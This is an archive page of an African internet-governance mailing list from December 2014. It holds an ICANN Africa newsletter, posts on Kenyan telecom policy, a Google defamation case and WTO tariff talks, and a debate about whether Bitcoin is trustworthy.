https://atlarge-lists.icann.org/mailman/listinfo/afri-discuss Homepage for the region: http://www.afralo.org Posting guidelines to ensure machine translations of emails sent to this list are more accurate: http://www.funredes.org/mistica/english/emec/method_emec/presentation.html#…

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Eventful ICANN Participation During AFRINIC21
by Bob Omondi 15 Dec '14

15 Dec '14

Dear listers, Just sharing this latest blog by the Africa team. https://www.icann.org/news/blog/eventful-icann-participation-during-afrinic… Regards Bob.

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Fwd: FW: AfrICANN December 2014 - pdf
by Bob Omondi 15 Dec '14

15 Dec '14

Dear listers, Just sharing our latest Newsletter for Africa, the last in 2014. Happy reading. Regards Bob. Dear Readers, 2014 has been long and eventful with key events and announcements globally and regionally that promise to significantly change the Internet Ecosystem. In Africa, we continue to keep you updated of our activities and really hope that you also enjoyed reading our AfriCANN October edition! The last two months have been full of activities not only in ICANN but also the wider Internet Ecosystem. The Africa team participated jointly and individually in a number of key events across Africa all aimed at deepening our Engagements with all stakeholders. We sponsored and participated in the historic AFRINIC 21 meeting in Ebene Mauritius, the home of AFRINIC, as it prepares to celebrate a decade of existence. We also want to take this opportunity to congratulate and wish the outgoing founding AFRINIC CEO – Mr. Adiel Akplogan the very best in future endeavors. AFRINIC remains a key partner of ICANN in the implementation of the Africa Strategy and we thank Adiel and his staff for their support. Lastly, and alongside the AFRINIC 21 meeting, the Africa Strategy Review team met and reviewed the current Africa Strategic plan to make it more responsive and aligned to the current ICANN plan of 2016 – 2020. We also took the opportunity to participate at the 2nd Africa School of IG as well as visit some of our stakeholders. Our spotlight section will highlight a key proposal from the community to Enhance Engagement with Africa in 2015 as we prepare for ICANN 55 in Marrakesh. We are also happy to announce the commissioning of yet another L-Root instance in Africa hosted by Mauritius Telecom - Mauritius and would like to sincerely thank you - the African community - for your support in 2014. *Welcome to AfrICANN as we wish you all a merry Xmas and prosperous 2015!* *Africa Team* Spotlight: Supporting Enhanced Engagement in Africa – 2015 Early last month, Community concerns that would prevent maximum participation at ICANN 52, a critical one given the ongoing discussions around the IANA Stewardship Transition and ICANN Accountability, prompted ICANN to postpone the meeting in Marrakech, Morocco and to relocate to Singapore on the same dates. In the announcement <https://www.icann.org/news/announcement-2014-11-03-en>, the Board confirmed its intent to hold the first ICANN 2016 meeting in Marrakech, Morocco taking into account the vital role of the African region to the success of ICANN's globalization efforts. *Figure 1: Africa Community in Mauritius* The Africa Community team was subsequently invited to propose possible ways of enhancing engagement in Africa in the run up to the Marrakech meeting now slotted for March 2016. The Africa team (Fig 1 above) composed of representatives from SO / AC leaders, AFTLD, AFRALO, AFICTA, AFRINIC, NEPAD, GAC, African Registrars Association, AU and others met in Mauritius alongside AFRINIC 21 and came up with the following 4 key projects that will further be evaluated and refined for implementation ahead of the Morocco meeting *1) Active participation in African regional and continental ICT ministerial meetings* The objectives of this project will be to increase awareness among African stakeholders, especially high-level (Ministerial and heads of state) governmental decision-makers on: *a)* The bottom-up multi-stakeholder Internet Governance model of policy development, *b) *The role of ICANN in the IG eco-system, *c)* Key issues on the Internet economy such as IANA Stewardship transition. ICANN staff and board members where possible, will actively participate in African regional and continental ICT (and other key) ministerial (and Heads of State Summit) meetings as well regional meetings organized by Regional Economic Communities (RECs), and the African Union Commission (AUC). *2) ICANN High Level Governmental Meeting (HLGM), Marrakech 2016* This particular meeting, and as a fulfillment of the recommendation of Accountability and Transparency Review (ATRT1 & 2) under the Affirmation of Commitments will have the following key objectives: *a)* To promote awareness of importance of multi-stakeholder Internet governance and governments’ positive engagement in multi-stakeholder fora and entities such as ICANN; *b)* To support ICANN globalization and outreach to non-participating communities in developing countries and Small Island states; and to the approx. 50 governments that are not members of the GAC (20 of which are from Africa e.g. Saudi Arabia and Zimbabwe) *c)* To foster a greater level of meaningful engagement in ICANN by more GAC members *d)* To secure commitment by governments to support and contribute to ICANN process on IANA stewardship transition; *e)* To steer discussion of the NETmundial roadmap towards existing multi-stakeholder fora, specifically the Internet Governance Forum *3) NewGen Program* In the framework of the ICANN NewGen Program, an event will be organized in the Marrakech meeting gathering around 10 young Africans from all over Africa aimed at bringing the youth to ICANN ecosystem with their fresh knowledge and innovative spirit. The target group will be - Mostly from the academic environment (Students, young researchers) - From civil society organizations - Young entrepreneurs (startup) and other private sector employees. (Partnerships) ICANN will issue call for expression of interest to be launched 6 months prior to Marrakech meeting through universities, civil society networks, technoparks and incubators in which the applicants will explain their achievements in the field of Internet. An evaluation committee will select the first 10 best achievements while considering Gender Balance / Innovation / Geographic spread. *4) Workshop for Africa Telecom regulators* The team also expressed the need to deepen outreach with Africa’s Telecom regulators with an aim to amongst others: *a)* Explore challenges and opportunities in achieving a supportive legal and regulatory enabling environment for African Internet interconnectivity *b)* Explore how regulators can contribute to the promotion of domain names industry? *c)* How can regulators contribute to Strengthen ccTLD development in Africa? *d)* Sensitize African regulators to be more active and visible on the global scene as well in the technical management and Internet Governance in terms of technologies and their uses. Africa Strategy Review: Ebene Mauritius In our 10 Nov 2014 blog post <https://www.icann.org/news/blog/taking-stock-of-our-africa-strategy>, we informed you of the need to review the current Africa Strategy to make it more responsive to Africa’s needs as per feedback from the community. *Figure 2: Africa Strategy Review Team in Session* The Africa Strategy Review team (Fig 2 above) composed of representatives from SO / AC leaders, AFTLD, AFRALO, AFICTA, AFRINIC, NEPAD, GAC, African Registrars Association, AU and others nominated based on their personal experiences was convened in Mauritius on November 24 – 25, 2014 alongside the AFRINIC 21 meeting. The review team came up with a reviewed and realigned document, deemed the ICANN Africa Strategy Ver 2.0 2016 – 2020, to be further on disseminated for additional input from the African community. A final strategy document is planned for the first quarter of 2015. The strategy review team also identified the need for the establishment of a steering committee that will work closely with the ICANN staff to support and monitor the implementation of the strategic plan. This committee will work independently based on own charter and will also be publicly announced to the community to apply or nominate members. ICANN Participates in AFRINIC21 On November 22, the ICANN Africa team travelled to Ebene, Mauritius, the home of AFRINIC to participate in the 21st AFRINIC meeting <http://meeting.afrinic.net/afrinic-21/en/agenda/agenda#day-6-27th-nov> as well as the 2nd Africa School of Internet Governance (AfriSIG 2014 <http://african-ig-school.events.apc.org/about-afrisig/>) jointly organized by NEPAD and APC. Indeed it was an incredible experience especially with AFRINIC celebrating 10 years of existence while looking ahead to a new era of opportunities even as they bid farewell to the founding CEO – Adiel Akplogan. While day 1 & 2 was dedicated to the Africa strategy review, the rest of the week saw the team organize and participate in various meetings and 2 key panels as well as visit some of the stakeholders including a tour of AFRINIC offices. *a) ICANN Panel* *Figure 3: Panelists at the ICANN Session during day 4 of AFRINIC 21* This session was moderated by Dr. Nii Quaynor and discussed the following focus areas for ICANN in Africa and all the slides can be found here <http://meeting.afrinic.net/afrinic-21/en/agenda/agenda#day-6-27th-nov>. - Report on the Africa Strategy Review meeting (Pierre, ICANN) - ICANN IDN program and IDN Africa project (Yaovi, ICANN) - Update on the New gTLD program (Bob, ICANN) - NOMCOM Outreach Presentation (Tijani Ben Jeema, AFRALO) - Presentation on AFRALO (Aziz Hilali, AFRALO) Key questions raised during this session includes, the relevance of the ngTLDs for Africa, the *.Africa* delegation delays and status, prohibitive prices for African ccTLDs compared to gTLDs as well as low African participation in ICANN tech days. Like other sessions, this meeting was streamed live by AFRINIC and widely covered on twitter *#ICANN #AFRINIC21* *b) IANA oversight Transition Panel* *Figure 4: IANA Stewardship Transition Panel in Session* This second session generated as much debate; discussion and interest just like the first. Panelists included Mouhamet Diop, Seun Ojedeji (CRISP – Africa Region), Paul Rendek, Elise Gerich (ICANN), Dr Nii Quaynor, Andres Piazza and Daniel Karrenberg. Adiel Akplogan while moderating the session started with a brief presentation on the background of IANA functions and the status of the African Region Number Community process <http://www.afrinic.net/en/community/iana-oversight-transition> (CRISP). The rich experience and mix of panelists was reflected on the quality of debate that followed. Elise while encouraging and appreciating the collaborative model displayed by the African community in an effort to come up with a proposal to the ICG was keen to point out that the NTIA has never interfered in the operational work of IANA and referred the audience to IANA’s reports <http://www.iana.org/performance/>. Overall, panelists agreed on the need for more aggressive and sustained awareness efforts by all stakeholders including ICANN to ensure proper understanding of the IANA functions especially governments. Participants also noted the critical need for the Names and Numbers communities to work closely with the Protocol Parameters community as they developed their responses to the ICG since protocols actually determine how names and numbers are administered and used. *c) 2ND Africa School of Internet Governance (AfriSIG2014)* The ICANN team also took time to visit and participate at the AfriSIG 2014 <http://african-ig-school.events.apc.org/about-afrisig/>. This event, hosted at a different venue also attracted over 40 participants selected from across the Africa continent. The following themes were under discussion this year; - Theoretical concepts and principles: including human rights, history, politics, and law relevant to Internet users and intermediaries - Technology and the governance and management of critical Internet resources - National and regional policy: including convergence with telecommunications policy and regulation - The Internet Governance landscape in Africa *d) Meeting with Mauritius Telecom: a new L-Root Instance Commissioned!* On Nov 28, the team visited Mauritius Telecom, who have just concluded and commissioned an L-Root Instance. The team discussed about ICANN and the MSM model and invited Mauritius Telecom to start participating in ICANN processes. We also received questions on the ngTLD process and procedures as well as discussed the challenges currently facing the .MU ccTLD. Overall, this has been a very successful mission on all fronts for us as ICANN In focus: Engagement Activities by the Africa Team *Medays summit; Morocco* The VP for Africa was in Morocco on 11-16 November for a series of meetings with local organizers of ICANN 52 on the one hand, and for participating to the Medays summit organized by the Amadeus Institute on the other hand. While there, Pierre took time to meet and also engage the Moroccan government officials including the ministry of foreign affairs, the ministry of Tourism and the telecoms regulator as well as AFRALO chair Mr. Aziz Hilali. The Medays summit <http://www.medays.org/> was a four-day event themed *‘What Order in the chaos’*. A high level gathering on issues related to stability of the world. The Meeting gathered more than 600 participants, including 25 former or present ministers, key international peace negotiators, former Prime Ministers. The gathering issued a Tanger declaration on 15 key points intended to recommend avenues/ solutions for the numerous socioeconomic political and security threats. ICANN participated on the panel on Cybersecurity titled: *Cyber threats and cyber wars: What Internet after Snowden?* Our key message was about spreading the word about ICANN’s remit. Indeed, while we do not deal with cyber threats or cyber security, we do manage to secure the DNS and we do collaborate/partner with other stakeholders to ensure stability and security of the net. *Outreach Mission to Mauritania November 12-13, 2014* Mauritania is one the countries with low participation in ICANN SO/AC activities. ICANN’s Yaovi Atohoun visited Mauritania on November 12-13, 2014 for various engagement meetings with stakeholders in the country in coordination with M. Mohamed Lemine, the director of ICT at the Ministry of ICT. While there, Yaovi was able to meet with:. - Ministry in charge of ICT - The Regulatory Body - University of Sciences, Technology and Medicine - The WARCIP project team - Local Telcos *Figure 5: Students of the University after a lecture on ICANN* He also managed to offer a lecture to a group of 60 university students about ICANN. In the end, we he received a full commitment from the Ministry in charge of ICT for the involvement of Mauritania in GAC. The other stakeholders have also expressed their commitment to more participation in ICANN future activities. We’ll keep in touch with them for any additional information and necessary support. *DNNSEC Roadshow in Gaborone, Botswana: December 1-2 2014* DNNSEC Roadshow in Gaborone, Botswana: December 1-2 2014 After Cameroon in July 2014, Bostwana is the second country to host a DNSSEC Roadshow as part of the implementation of the Africa Strategy in this fiscal year 2015. The roadshow was hosted by Botswana Communications Regulatory Authority (BOCRA) and was attended by local Internet Service Providers (ISPs) and the rest of the Internet community, as an effort to have adequate engagement and consensus within the local Internet community about issues relating to Internet security. Please read an article from a local newspaper after the event at http://www.weekendpost.co.bw/wp-news-details.php?nid=277 Upcoming Events in Africa *Africa Telecom People 2014 <http://www.afrinic.net/en/library/news/1013-af21>* To he held in Abidjan, Cote-d'Ivoire from December 18 - 19. Yaovi Atohoun will represent ICANN in this event. More information here: http://www.telecomafricapeople.net From ICANN Global - *ICANN 52:* This meeting will be held in Singapore on February 8 – 12. Please read more here: http://singapore52.icann.org/en/ - *ICANN 53* Fellowship Application now open, please apply here:https://www.icann.org/news/announcement-2014-12-05-en - Apply for *Key leadership positions* in ICANN: https://www.icann.org/news/announcement-2014-12-08-en - The latest in IANA Stewardship Transition and Enhancing ICANN Accountability: https://www.icann.org/stewardship-accountability - Nomination period opens for the ICANN Multistakeholer Ethos Award <https://www.icann.org/news/announcement-2014-12-10-en> <https://twitter.com/ICANN> <https://www.facebook.com/icannorg>

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Google loses round one of court battle with Waiguru
by Grace Githaiga 15 Dec '14

15 Dec '14

The Constitutional and Human Rights Division of the High Court, sitting in Nairobi, declined to grant Google Kenya’s prayers to be struck out of the case in which Ms Waiguru has sued Google Kenya and its mother company Google Incorporated.Google Kenya had made the application in response to a suit the Cabinet Secretary had filed against it and Google Inc. as part of her fight with a Kenyan website Daily Post over publication of a story she claims was defamatory. http://www.businessdailyafrica.com/Google-loses-first-round-battle-against-…

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Fwd: WTO ITA Expansion Talks end in dissapointment in Geneva
by waudo siganga 13 Dec '14

13 Dec '14

Could interest some colleagues: No Closure For ITA Expansion Negotiations[1] 12/12/2014 by John Neuffer (ITI)[2] DATELINE GENEVA – Under cold leaden skies in this city that is home to the World Trade Organization (WTO), negotiations did not wrap up today with a final deal to expand the Information Technology Agreement (ITA), an agreement that would grow the global economy, foster innovation, and reduce consumer prices on innovative technologies the world over. The news comes as a significant disappointment to negotiators who came to Geneva last week with high hopes that an agreement was within reach. The deal would have eliminated tariffs on roughly $1 trillion in yearly sales of tech products and boosted global GDP by an estimated $190 billion annually. More specifically, the final package would have included roughly 200 tariff lines of products driving the digital economy and improving people’s lives, such as next-generation semiconductors known as MCOs, MRI machines, GPS devices, loud speakers, solid state drives, video game consoles, point-of-sale cards for game and software downloading, video cameras, and high-tech testing equipment. To be sure, a deal was ever so close, as participating economies made significant and difficult moves in an attempt to reach the goal line over the past week. News reports suggest that South Korea, with high hopes of getting LCD panels included, demonstrated a willingness to consider an agreement without that tariff line with an eye on the broader importance of a successful outcome to the global economy and the WTO. Others, such as Malaysia, Thailand, Israel, Australia, the European Union, and the United States, also offered last-minute flexibility that would have allowed several key products to make it across the finish line. Costa Rica and Guatemala, as well, made constructive eleventh-hour shifts that would have kept them in the deal and underscored the importance of ITA expansion to smaller developing economies determined to integrate themselves even deeper in the tech global supply chains. The inability to conclude boiled down to the fact that the Beijing breakthrough achieved on the margins of the Asia-Pacific Economic Cooperation leaders’ summit last month included a good package, but one many economies felt needed further tweaking. Though it had raised its ambition level in the Beijing package, China was not able to move off that package. What’s next? There is a general sense that because the negotiations came within an eyelash of concluding, people want to let the dust settle from this round of talks and figure out how to finally conclude this deal. Much hangs on successful conclusion of the ITA expansion negotiations, beyond the boost it would give to global GDP, jobs, and innovation. The WTO desperately needs to demonstrate it’s back in the business of opening markets around the world and ITA expansion remains the lowest hanging fruit in that regard. So there is no disguising that today was a major setback, but there is an emerging feeling that it’s not time to throw in the towel quite yet. http://blog.itic.org/blog/no-closure-for-ita-expansion-negotiations Links: 13. http://blog.itic.org/blog/no-closure-for-ita-expansion-negotiations 14. http://www.itic.org/about/staff/john-neuffer

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Re: [kictanet] BROADCAST PERMIT
by Bernard Kioko 12 Dec '14

12 Dec '14

The terms and conditions subject to which the broadcast permit mentioned below is what I am looking for - for those who might be wondering. From: Bernard Kioko [mailto:bkioko@bernsoft.com] Sent: Thursday, December 11, 2014 1:30 PM To: KICTAnet ICT Policy Discussions (kictanet(a)lists.kictanet.or.ke) Subject: BROADCAST PERMIT Hi, I am looking for the terms and conditions that the Ministry of Communication (not sure if that's what they were called pre 2009) used to issue to broadcast permits to broadcasters. Would anyone have these anywhere accessible? Your assistance will be highly appreciated. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Nigeria, not Kenya, is about to become Africa’s next big technology hub
by Matunda Nyanchama 12 Dec '14

12 Dec '14

This suggests market size (Nigeria's 140+ million people) does matter. Is Kenya's losing the edge? Nigeria, not Kenya, is about to become Africa’s next big technology hub | | | | | | | | | | | Nigeria, not Kenya, is about to become Africa’s next big...There's simply too much money in Nairobi. | | | | View on qz.com | Preview by Yahoo | | | | | ---------------------------------------------------------------------------------------------- Matunda Nyanchama, PhD, CISSP; mnyanchama(a)aganoconsulting.com Agano Consulting Inc.; www.aganoconsulting.com; Twitter: nmatunda; Skype: okiambe ----------------------------------------------------------------------------------------------Manage your ICT risks! We are the experts you need! The trusted partners you deserve!Call: +1-888-587-1150 (Canada) +254-20-267-0743 (Kenya) or info(a)aganoconsulting.comLicensed by Communications Authority of Kenya (CA) ----------------------------------------------------------------------------------------------"The best revenge is massive success" - Frank Sinatra----------------------------------------------------------------------------------------------- This e-mail, including attachments, may be privileged and may contain confidential or proprietary information intended only for the addressee(s). Any other distribution, copying, use, or disclosure is unauthorized and strictly prohibited. If you have received this message in error, please notify the sender immediately by reply e-mail and permanently delete the message, including any attachments, without making a copy. Thank you.

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Fw: Map of African Political Leaders 2015
by Network of non- formal Educational institutions 12 Dec '14

12 Dec '14

Some Information Jane On Thursday, December 11, 2014 8:01 PM, African Highlights <seifertingo(a)african-highlights.com> wrote: Dear Ladies and Gentlemen At the beginning of each year new products and projects are getting launched and African Highlights introduces the Map of African Political Leaders 2015 free of charge for all interested people. A high resolution print ready 5MB PDF file can be downloaded for free from http://www.docdroid.net/mjn4/african-president-2015-1.pdf.html Also in 2015 we are continuing to publish our popular motivational articles at www.African-Highlights.com. The new web-shop now offers a wide variety of African inspired and “Made in Africa” products. Have a look for shopping and selling directly from the suppliers at best prices. Should you or your colleagues have African products for sale, you are invited place them into our shop for free, whereby we just receive a commission of 9% - 15% for each sold item without any contractual obligations. For more information please feel free to contact us at info(a)african-highlights.com To UNSUBSCRIBE please return the mail with the header REMOVE. Sorry for the inconvenience. Kind Regards Ingo Seifert Administration __________________ African Highlights GbR Seifert & Nimpagaritse __________________ Addresses in Germany: Ingo Seifert Stapelbrede 36b, 33611 Bielefeld Tel.: +49-521 9885 8633, Mobile: +49-157 8556 9396 Skype: Ingo.Seifert2 Germain Nimpagaritse Kladower Damm 242, 14089 Berlin Tel.: +49-30 6449 9721 Mobile: +49-152 3185 4054 Email: info(a)african-highlights.com Internet: www.african-highlights.com

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BROADCAST PERMIT
by Bernard Kioko 11 Dec '14

11 Dec '14

Hi, I am looking for the terms and conditions that the Ministry of Communication (not sure if that's what they were called pre 2009) used to issue to broadcast permits to broadcasters. Would anyone have these anywhere accessible? Your assistance will be highly appreciated. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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LTE/4G and the state of broadband and Universal Access in Kenya
by Mwendwa Kivuva 11 Dec '14

11 Dec '14

(Apologies for cross-posting) Nothing is as great as high internet speed. That is the mantra on Safaricom's 4G page (1). Safaricom's 4G/LTE service is the first of its kind in the region and promises a browsing experience like never before. Long Term Evolution (LTE) is a standard for wireless communication of high-speed data for mobile phones and data terminals.(2) To use LTE you need a 4G capable Device (phone/tablet/modem), Change to a 4G enabled SIM card and be in an area covered by the 4G service i.e. Some parts of Nairobi and Mombasa. With the rollout of 4G in some parts of Nairobi and Mombasa, we are exploring the state of "real" broadband in Kenya, the cost to the common citizen, and coverage. As we continue to privilege those of us in urban areas, how are we catering for the interests and needs of the marginalized? TESPOK in August issued a statement (3) advising it's members not to pay Universal Service Fund (4) until they meet with the Communications Authority Director General and ICT cabinet Secretary to clearly define the procedures and processes of administering the 0.5% of operators' annual revenues. What is the current state of USF in Kenya? Is it operational? Is the 0.5% sufficient to have any impact in society? Are the USF Council members (5) representative of the Internet community in Kenya? Are all stakeholders interests taken into consideration in forming the council? Would these distinguished citizens know the troubles the user in Kitui goes through when he has to climb a flag-post to get network signal, or the parcel that arrives in Lokitang after a month? Internet Society Kenya Chapter and Kictanet seeks to engage in a series of online discussions covering various trending issues which will culminate in a public consultative forum with industry and policymakers to share the feedback from the community and see how best we can influence and shape the Internet landscape in Kenya. Your valuable contribution is always appreciated. Sincerely, ______________________ Mwendwa Kivuva, Nairobi, Kenya Secretary, Internet Society Kenya. NOTES (1). http://www.safaricom.co.ke/personal/internet/safaricom-4g-lte (2). http://en.wikipedia.org/wiki/LTE_%28telecommunication%29 (3). http://www.tespok.co.ke/?p=310 (4). http://ca.go.ke/index.php/purpose-of-the-fund (5). http://ca.go.ke/index.php/universal-service-advisory-council

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Re: [kictanet] [isoc_ke] LTE/4G and the state of broadband and Universal Access in Kenya
by Mwendwa Kivuva 11 Dec '14

11 Dec '14

On 10 December 2014 at 12:58, WANGARI KABIRU <wangarikabiru(a)yahoo.co.uk> wrote: > Who is this *"Regulators problem" . * Often we refer to the Regulator - > is this CAK or Parliament? > Wangari, the Regulator is CA and should be the final authority in all regulation matters unless overuled by a court of competent jurisdiction. ______________________ Mwendwa Kivuva, Nairobi, Kenya "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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Fwd: [AfrICANN-discuss] ETHOS AWARD nomination period open Dec 10, 2014 - March 02, 2015
by Bob Omondi 11 Dec '14

11 Dec '14

Dear listers, Just forwarding this FYI / A Regards Bob. ---------- Forwarded message ---------- From: Yaovi Atohoun <yaovito(a)yahoo.fr> Date: Thu, Dec 11, 2014 at 10:40 AM Subject: [AfrICANN-discuss] ETHOS AWARD nomination period open Dec 10, 2014 - March 02, 2015 To: "africann(a)afrinic.net" <africann(a)afrinic.net> Hi all, ICANN is pleased to announce the opening of the nomination period for ICANN's *2015 Multistakeholder Ethos Award Program*. This award program seeks to recognize long-standing community members who have served in leadership roles in multiple ICANN working groups or committees and demonstrated collaboration with different supporting organizations and/or advisory committees. More details at https://www.icann.org/news/announcement-2014-12-10-en Thanks ------- Bonjour à tous, La période de nomination pour le prix ETHOS est ouverte depuis le 10 Decembre 2014 pour prendre fin le Mars 2015. Ce programme vise à reconnaître les membres de la communauté qui ont collaboré de manière significative avec plusieurs organisations de soutien et/ou comités consultatifs. Plus d'information sur l'annonce est disponible à https://www.icann.org/news/announcement-2014-12-10-en Merci Yaovi Atohoun Stakeholder Engagement and Operations Manager – Africa ICANN – www.icann.org Mobile : +229 66015649 / 97891228 _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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Re: [kictanet] [Skunkworks] Bitcoin Meetup: Topic Buy/Trade/Store BTC@iHub Monday 1st December 5:30 PM
by Dennis Kioko 11 Dec '14

11 Dec '14

The major challenge with BitCoin is the complexity for the common man - it's easy to lose your BitCoins, and this scares away most people. On Mon Dec 01 2014 at 09:24:50 John Karanja via skunkworks < skunkworks(a)lists.my.co.ke> wrote: > Great analysis Phares, > > Just to add Bitcoin is Pseudo-anonymous you can track every transaction to > the wallet and possibly every device meaning you can a track a sender and > receiver if you are networking expert.. > > Roy they are over 500 major digital currencies and there will be millions > in the future many of which will fail, some which will add value to their > users and others which will be scams. > > Bonga points is a virtual currency/token that offers discount value on > purchases at Safaricom shops and not anywhere else and therefore has > perceived value amongst Saf users... > > Bitcoin currently has a market value of $5 Billion because of the "work" > that has been put into the network which creates perceived value just like > Bonga points. > > Like Phares says just do some research on what actually backs USD you will > be surprised. > > Meetup is at 5:30PM today at iHub... > > John > > > > > On Wed, Nov 26, 2014 at 4:22 PM, Paul via skunkworks < > skunkworks(a)lists.my.co.ke> wrote: > >> What stops us from trusting bitpesa? Or procoins (if I came up with mine >> too).... >> >> If you get my drift, anyone can come up with a digital currency. Which >> one will you trust? >> >> All these are ponzi schemes designed to benefit a few... >> >> Though I like John's analogy to gambling 😊 yeah if you are into it, why >> not try and get rich! >> >> Don't say I didn't warn you. >> >> pro >> ------------------------------ >> From: Phares Kariuki <pkariuki(a)gmail.com> >> Sent: ‎26/‎11/‎2014 15:47 >> To: Paul Roy <roykoikai(a)gmail.com>; KICTAnet ICT Policy Discussions >> <kictanet(a)lists.kictanet.or.ke> >> Cc: Skunkworks Mailing List <skunkworks(a)lists.my.co.ke>; Patrick Kariuki >> <patrick.kariuki(a)gmail.com> >> Subject: Re: [kictanet] [Skunkworks] Bitcoin Meetup: Topic >> Buy/Trade/Store BTC@iHub Monday 1st December 5:30 PM >> >> 1) Currency no longer has a backing. The US stopped using the gold >> standard in 1970 (Ironically, the US Dollar became the global trading >> standard simply because they had a gold standard). >> 2) Currency is based purely on trust, not inherent value e.g. during >> hyperinflation in Germany in the 20's, the currency was worth less than >> firewood, so people burnt money because money because it was cheaper to >> burn money than firewood. >> 3) The trust in the value of money is why you accept a 1,000 shilling >> note as being worth something. It's trust. Yes, the state issues it, but >> that is not the basis of trust in currency. It's the assumption that >> society as a whole shares your view on the value of the money... e.g. in >> Zimbabwe, the state issued the currency, but the people did not have faith >> in the currency. So the notion of value of a currency being predicated on >> state issuance is moot. >> 4) Bitcoin actually solves interesting problems online, the biggest being >> anonymity. e.g. If you spend 1,000 KES at Java, that money can't be traced >> to you. The money is accepted by the merchant. Period. There's no tracing >> it back to you. A 50 KES note spent in a matatu, buying drugs etc can't be >> traced back to you (unless the state marks bills). Money is trusted. We've >> been unable to replicate that online. So for now, we use cards. Paypal etc. >> We have intermediaries who guarantee value. Who guarantee that the >> transaction would be settled. This has one problem, margins. MasterCard, >> Visa, Paypal etc all have their pound of flesh. Additionally, the lack of >> anonymity means that all transactions can be traced back to both the >> merchant and customer and the merchants can determine what type of goods >> can be transacted. Whilst this might look like a good idea, the problem is >> that the state can use this to get rid of unwanted actors in the economy. >> What Bitcoin represents is free trade online. You can buy whatever you >> want, sell whatever you want online e.g. you can create a secure email >> service to insulate yourself from the state e.g. Snowden. >> 5) Money transfer - the US Dollar means that you have to be in good >> standing with the west in order to conduct international transactions. This >> need not be the case with bitcoin. You no longer need to use NY clearing >> houses to transfer international currency. You can use bitcoin (e.g. A >> citizen of Sudan, who wants to launch an ecommerce website can start >> accepting bitcoin, which is global and bypass the US clearing houses). >> Freedom to trade. US foreign policy should not be the baseline for >> international trade. >> >> The one caveat I have with bitcoin is the fact that it has deflationary >> tendencies, not inflationary, because it has a limited supply. The >> inflationary tendencies of legal currency mean that the incentive to the >> holder is to spend/invest rather than hoard the currency, which increases >> the velocity of the cash. It's used to buy more and more goods/services. >> Bitcoin, due to its deflationary tendency, incentivises the holder to keep, >> rather than spend the cash. e.g. At some point, in 2011, bitcoin was worth >> roughly 50 USD, it's worth 300 USD today, so if you spent 1 bitcoin buying >> say an iPod Shuffle, that same amount of money, had you waited, would have >> bought you 6 iPods shuffles, so you would have a feeling of loss. That's >> the biggest worry. However, the fact that more and more people are trading >> with it might mean that folks actually spend, rather than hoard the money. >> >> On Wed, Nov 26, 2014 at 2:07 PM, Paul Roy via kictanet < >> kictanet(a)lists.kictanet.or.ke> wrote: >> >>> Well, am against this notion of a few people making "something out of >>> nothing" and majority "making nothing out of something". I have no issue >>> with the technology side. True using crypto technology and blockchain you >>> can trace the history etc, however this does not explain some mysteries. >>> First a few points to ponder >>> >>> 1. Who invented bitcoin? Why is s/he in hiding? If i were the inventor i >>> would proudly be associated with BTC in this case the guy went to >>> hiding...did he know something or is he/she remaining anonymous avoiding >>> legal action from eminent collapse of bitcoin with a few billionaires and >>> majority impoverished? >>> >>> 2. Ok BTC is popular and they claim over 6 million coins blah...blah... >>> have been mined so far. How did this happen? Who are these billionaires who >>> spent enormous computing resources to mine bitcoin while the rest of the >>> world was asleep? >>> >>> 3. Paypal has a disclaimer on bitcoin trade...do they know something? >>> Many governments do not recognize bitcoin and others have even burned it as >>> a legal tender >>> >>> 4. What's backing this currency? Air? >>> >>> Anyway the truth is that some genius came up with some incredible >>> algorithm based on cryptography, released the code, used pseudo-names to >>> hide s/he identity, got his/her cronies and fictitious accounts with >>> millions of these so called coins, sat back and enjoying billions coming >>> his/her way. >>> >>> What a genius! >>> >>> pro >>> >>> >>> >>> >>> >>> >>> >>> On Wed, Nov 26, 2014 at 10:57 AM, Anthony Lenya <tlensya(a)gmail.com> >>> wrote: >>> >>>> Bernie Madoff anyone? ? >>>> On 26 Nov 2014 10:54, "Patrick Kariuki via skunkworks" < >>>> skunkworks(a)lists.my.co.ke> wrote: >>>> >>>>> Any basis for your advice? >>>>> >>>>> The US Marshal service is auctioning Bitcoins - If the Bitcoin was >>>>> part of some ponzi scheme wouldn't they destroy them instead? >>>>> >>>>> http://www.usmarshals.gov/assets/2014/dpr-bitcoins/ >>>>> >>>>> >>>>> >>>>> On Wed, Nov 26, 2014 at 10:05 AM, Paul Roy via skunkworks < >>>>> skunkworks(a)lists.my.co.ke> wrote: >>>>> >>>>>> John, >>>>>> >>>>>> Good to see you trying to marshal support for digital currency. This >>>>>> is simply pyramid scheme that will make so many people lose their hard >>>>>> earned cash, moreso fraudsters and hackers are having a playing field >>>>>> ripping off many innocent investors... >>>>>> >>>>>> My advice, keep off bitcoin! >>>>>> >>>>>> pro >>>>>> >>>>>> On Wed, Nov 26, 2014 at 9:33 AM, John Karanja via skunkworks < >>>>>> skunkworks(a)lists.my.co.ke> wrote: >>>>>> >>>>>>> Hi 